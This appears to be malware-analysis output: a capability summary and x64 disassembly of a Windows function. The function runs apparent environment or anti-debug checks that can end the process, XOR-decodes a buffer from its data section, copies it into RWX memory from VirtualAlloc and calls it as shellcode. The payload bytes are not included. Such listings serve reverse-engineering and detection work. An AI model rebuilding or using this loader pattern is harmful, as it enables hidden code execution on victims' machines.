Function at 0x14001149c
Capabilities:
Allocate or change rwx memory
Execute command
Execute shellcode via indirect call
Terminate process

Disassembly:
jmp 0x14001cd70
push rbp
push rdi
sub rsp, 0xa88
lea rbp, [rsp + 0x20]
lea rcx, [0x1400360f3]
call fcn.1400116b8
call fcn.140011497
test eax, eax
je 0x14001cda5
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rax, [rbp + 0x348]
mov qword [rbp + 0x388], rax
lea rdx, str.r_EC__uTSDVVTCw_PVB
mov rcx, qword [rbp + 0x388]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
lea rdx, [0x140011050]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp + 0x3a8]
mov qword [rbp + 0x3e8], rax
lea rdx, str.r_EC___xBuTSDVVTCaCTBT_E
mov rcx, qword [rbp + 0x3e8]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
call fcn.140011721
test eax, eax
je 0x14001ce60
lea rax, [rbp + 0x408]
mov qword [rbp + 0x448], rax
lea rdx, str.uTSDVVTC_CX_TGPE
mov rcx, qword [rbp + 0x448]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
jmp 0x14001ce94
lea rax, [rbp + 0x468]
mov qword [rbp + 0x4a8], rax
lea rdx, str.uTSDVVTC____CX_TGPE
mov rcx, qword [rbp + 0x4a8]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
lea rdx, [0x140011050]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp + 0x4c8]
mov qword [rbp + 0x508], rax
lea rdx, str.r_EC___rYTRZcTETuTSDVVTCaCTBT_E
mov rcx, qword [rbp + 0x508]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
call fcn.140011361
test eax, eax
je 0x14001cf1b
lea rax, [rbp + 0x528]
mov qword [rbp + 0x568], rax
lea rdx, str.uTSDVVTC_CX_TGPE
mov rcx, qword [rbp + 0x568]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
jmp 0x14001cf4f
lea rax, [rbp + 0x588]
mov qword [rbp + 0x5c8], rax
lea rdx, str.uTSDVVTC____CX_TGPE
mov rcx, qword [rbp + 0x5c8]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
lea rdx, [0x140011050]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp + 0x5e8]
mov qword [rbp + 0x628], rax
lea rdx, str.r_EC___v_SP_w_PVB
mov rcx, qword [rbp + 0x628]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
call fcn.1400113a7
test eax, eax
je 0x14001cfd6
lea rax, [rbp + 0x648]
mov qword [rbp + 0x688], rax
lea rdx, str.uTSDVVTC_CX_TGPE
mov rcx, qword [rbp + 0x688]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
jmp 0x14001d00a
lea rax, [rbp + 0x6a8]
mov qword [rbp + 0x6e8], rax
lea rdx, str.uTSDVVTC____CX_TGPE
mov rcx, qword [rbp + 0x6e8]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
lea rdx, [0x140011050]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp + 0x708]
mov qword [rbp + 0x748], rax
lea rdx, str.r_EC___atsw_PVB
mov rcx, qword [rbp + 0x748]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
call fcn.14001123a
test eax, eax
je 0x14001d091
lea rax, [rbp + 0x768]
mov qword [rbp + 0x7a8], rax
lea rdx, str.uTSDVVTC_CX_TGPE
mov rcx, qword [rbp + 0x7a8]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
jmp 0x14001d0c5
lea rax, [rbp + 0x7c8]
mov qword [rbp + 0x808], rax
lea rdx, str.uTSDVVTC____CX_TGPE
mov rcx, qword [rbp + 0x808]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
lea rdx, [0x140011050]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp + 0x828]
mov qword [rbp + 0x868], rax
lea rdx, str.r_EC___yTPAaCETREX_
mov rcx, qword [rbp + 0x868]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
call fcn.140011118
movzx eax, al
test eax, eax
je 0x14001d14f
lea rax, [rbp + 0x888]
mov qword [rbp + 0x8c8], rax
lea rdx, str.uTSDVVTC_CX_TGPE
mov rcx, qword [rbp + 0x8c8]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
jmp 0x14001d183
lea rax, [rbp + 0x8e8]
mov qword [rbp + 0x928], rax
lea rdx, str.uTSDVVTC____CX_TGPE
mov rcx, qword [rbp + 0x928]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
lea rdx, [0x140011050]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, [rbp + 0x948]
mov qword [rbp + 0x988], rax
lea rdx, str.r_EC___TCHsCTPZAX_EBnaPVTvDPCU
mov rcx, qword [rbp + 0x988]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
call fcn.140011622
test eax, eax
je 0x14001d20a
lea rax, [rbp + 0x9a8]
mov qword [rbp + 0x9e8], rax
lea rdx, str.uTSDVVTC_CX_TGPE
mov rcx, qword [rbp + 0x9e8]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
jmp 0x14001d23e
lea rax, [rbp + 0xa08]
mov qword [rbp + 0xa48], rax
lea rdx, str.uTSDVVTC____CX_TGPE
mov rcx, qword [rbp + 0xa48]
call fcn.1400112f3
mov qword [rbp + 0xa58], rax
mov rcx, qword [rbp + 0xa58]
call fcn.14001150a
mov dword [rbp + 4], 0
jmp 0x14001d24f
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
movsxd rax, dword [rbp + 4]
cmp rax, 0x1fe
jae 0x14001d29c
movsxd rax, dword [rbp + 4]
lea rcx, section..data
movzx eax, byte [rcx + rax]
dec eax
movsxd rcx, dword [rbp + 4]
lea rdx, section..data
mov byte [rdx + rcx], al
movsxd rax, dword [rbp + 4]
lea rcx, section..data
movzx eax, byte [rcx + rax]
xor eax, 0x35
movsxd rcx, dword [rbp + 4]
lea rdx, section..data
mov byte [rdx + rcx], al
jmp 0x14001d247
lea rcx, str.pause
call qword [sym.imp.ucrtbased.dll_system]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1ff
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x28], rax
mov r8d, 1
lea rdx, [0x140029edc]
lea rcx, section..data
call fcn.140011348
mov r8d, 0x1ff
lea rdx, section..data
mov rcx, qword [rbp + 0x28]
call fcn.140011348
call qword [rbp + 0x28]
xor eax, eax
lea rsp, [rbp + 0xa68]
pop rdi
pop rbp
ret